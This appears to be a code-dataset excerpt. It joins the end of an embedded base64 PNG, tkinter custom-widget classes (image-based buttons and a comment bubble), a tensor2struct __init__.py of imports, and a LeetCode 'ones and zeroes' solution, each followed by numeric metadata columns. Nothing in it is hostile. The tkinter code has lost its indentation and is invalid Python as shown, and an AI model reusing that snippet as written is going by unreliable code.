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'
img1= base64.b64decode(check1)
img2= base64.b64decode(check2)
img1= Image.open(io.BytesIO(img1))
img1= img1.resize((x,y), Image.ANTIALIAS)
MImg1= ImageTk.PhotoImage(img1)
img2= Image.open(io.BytesIO(img2))
img2= img2.resize((x,y), Image.ANTIALIAS)
MImg2= ImageTk.PhotoImage(img2)
self.configure(image= MImg1,border= 0,relief= SUNKEN, background=self.master['background'], activebackground=self.master['background'] ,activeforeground= "white")
if self['foreground']!="white":
self.configure(border= 0,relief= SUNKEN, background=self.master['background'], activebackground=self.master['background'] ,activeforeground= "white")
if self.mode :
self.configure(image = MImg2)
self.__ml.append( MImg2 )
else:
self.configure(image = MImg1)
self.__ml.append( MImg1 )
self.after(10, self.dff)
self.bind("<Button-1>", self.__OKI)
class Comment(tk.Label):
__dja = []
def ddd(self , event):
self.destroy()
def init(self,xx=0,yy=10, d= (209,209,209,1000),x=200,y=200):
global imgqw
if x<90 or y<90:
img = imgqw.resize((900, 450), Image.BOX)
else:
img = imgqw.resize((3000, 1500), Image.BOX)
data = np.array(img)
r1 , g1, b1 = 255 , 255 , 255
try:
r2 , g2, b2 , a2 = d[0] , d[1], d[2], d[3]
except:
r2 , g2, b2 , a2 = d[0] , d[1], d[2], 80
red , green , blue , alpha = data[:,:,0] , data[:,:,1] , data[:,:,2] , data[:,:,3]
mask = (red == r1) & (green == g1) & (blue == b1)
data[:,:,:4][mask] = [r2 , g2 , b2, a2]
img = Image.fromarray(data)
img = img.resize((x,y), Image.ANTIALIAS)
img = img.resize((120,60), Image.ANTIALIAS)
imga1 = img.crop((0,0,40,60))
imga1= imga1.resize((40, 60), Image.ANTIALIAS)
imgb1 = img.crop((40,0,80,60))
#xx=(300,80)
imgb1=imgb1.resize((x,60), Image.ANTIALIAS)
imgc1 = img.crop((80,0,120,60))
imgc1= imgc1.resize((40, 60), Image.ANTIALIAS)
imgror1= Image.new('RGBA', (imgb1.size[0]+imga1.size[0]+imgc1.size[0],60), )
imgror1.paste(imga1,(0,0))
imgror1.paste(imgb1, (imga1.size[0],0))
imgror1.paste(imgc1, (imga1.size[0]+imgb1.size[0],0))
#img= imgror1.resize()
#imgror.load()
s=imgror1.size[0]
#print(imgror1.size[1])
imgror1 = imgror1.resize((s, 60), Image.ANTIALIAS)
imga1 = imgror1.crop((0,0,s,25))
imga1= imga1.resize((s, 25), Image.ANTIALIAS)
imgb1 = imgror1.crop((0,25,s,35))
#xx=(300,80)
imgb1=imgb1.resize((s,y), Image.ANTIALIAS)
imgc1 = imgror1.crop((0,35,s,60))
imgc1= imgc1.resize((s, 25), Image.ANTIALIAS)
imgror11= Image.new('RGBA', (s,imgb1.size[1]+imga1.size[1]+imgc1.size[1]) )
imgror11.paste(imga1,(0,0))
imgror11.paste(imgb1, (0,imga1.size[1]))
imgror11.paste(imgc1, (0,imga1.size[1]+imgb1.size[1]))
photo = ImageTk.PhotoImage(imgror11)
self.config(image = photo , border= 0, bd= 0 , bg = self.master['bg'], compound= CENTER)
self.place(x= xx, y = yy)
self.bind("<Leave>", self.ddd)
self.master.bind("<Button-1>", self.ddd)
self.__dja.append(photo)
if __name__== '__main__':
#ModTk()
#ModFrame()
print("Objects of package initialised")
| 266.244623
| 74,115
| 0.921173
| 33,712
| 829,352
| 22.630072
| 0.313983
| 0.034117
| 0.041679
| 0.042957
| 0.642648
| 0.639684
| 0.636052
| 0.632735
| 0.63046
| 0.628376
| 0
| 0.120758
| 0.032851
| 829,352
| 3,114
| 74,116
| 266.330122
| 0.830366
| 0.050736
| 0
| 0.676439
| 0
| 0.059175
| 0.881869
| 0.876351
| 0
| 1
| 0
| 0
| 0.001629
| 1
| 0.042888
| false
| 0.042345
| 0.008143
| 0.002172
| 0.086319
| 0.005429
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5bc52bfbc0edd970cd2200355ed5c7697253eac4
| 123
|
py
|
Python
|
tensor2struct/models/overnight/__init__.py
|
chenyangh/tensor2struct-public
|
d3257cba6d76d3c658a58a78f687d986bdc755cf
|
[
"MIT"
] | 69
|
2021-04-14T06:35:07.000Z
|
2022-03-31T18:35:05.000Z
|
tensor2struct/models/overnight/__init__.py
|
chenyangh/tensor2struct-public
|
d3257cba6d76d3c658a58a78f687d986bdc755cf
|
[
"MIT"
] | 11
|
2021-04-16T11:16:04.000Z
|
2022-03-22T21:21:29.000Z
|
tensor2struct/models/overnight/__init__.py
|
chenyangh/tensor2struct-public
|
d3257cba6d76d3c658a58a78f687d986bdc755cf
|
[
"MIT"
] | 18
|
2021-04-14T07:19:56.000Z
|
2022-03-23T19:26:18.000Z
|
from . import overnight_enc
from . import overnight_dec
from . import overnight_linking
from . import overnight_beam_search
| 30.75
| 35
| 0.845528
| 17
| 123
| 5.823529
| 0.470588
| 0.40404
| 0.767677
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.121951
| 123
| 4
| 35
| 30.75
| 0.916667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
750a2ba5cf47d29cce6266e56ec340826a893af2
| 9,555
|
py
|
Python
|
p474_ones_and_zeroes.py
|
feigaochn/leetcode
|
abf0877fae02aa9c2549051f0b68df0ace952512
|
[
"MIT"
] | null | null | null |
p474_ones_and_zeroes.py
|
feigaochn/leetcode
|
abf0877fae02aa9c2549051f0b68df0ace952512
|
[
"MIT"
] | null | null | null |
p474_ones_and_zeroes.py
|
feigaochn/leetcode
|
abf0877fae02aa9c2549051f0b68df0ace952512
|
[
"MIT"
] | null | null | null |
class Solution:
def findMaxForm(self, strs, m, n):
"""
:type strs: List[str]
:type m: int
:type n: int
:rtype: int
"""
pairs = [(s.count('0'), s.count('1')) for s in strs]
if m >= sum(p[0] for p in pairs):
pairs = [(0, p[1]) for p in pairs]
m = 0
if n >= sum(p[1] for p in pairs):
pairs = [(p[0], 0) for p in pairs]
n = 0
base = pairs.count((0, 0))
pairs = [p for p in pairs if p != (0, 0)]
from collections import Counter
counter = Counter(pairs).items()
pairs = []
for (z, o), c in counter:
pairs.extend(
[(z, o)] * min(
[c,
m // z if z else c,
n // o if o else c])
)
pairs.sort(key=lambda p: (sum(p), abs(p[0] - p[1])))
N = len(pairs)
best = 0
mm, nn = 0, 0
for p in pairs:
mm += p[0]
nn += p[1]
if mm <= m and nn <= n:
best += 1
else:
break
def le(p1, p2):
return p1[0] <= p2[0] and p1[1] <= p2[1]
def dfs(st, zeros, ones, cur):
nonlocal best
# if zeros < 0 or ones < 0:
# return
if cur > best:
best = cur
if st == N:
return
# cut the search
# the rest is not enough to beat best
if (best == N or N - st <= best - cur
or cur + (zeros + ones) // sum(pairs[st]) <= best):
return
if le(pairs[st], (zeros, ones)):
dfs(st + 1, zeros - pairs[st][0], ones - pairs[st][1], cur + 1)
dfs(st + 1, zeros, ones, cur)
dfs(0, m, n, 0)
return best + base
fn = Solution().findMaxForm
print(fn({"10", "0001", "111001", "1", "0"}, m=5, n=3))
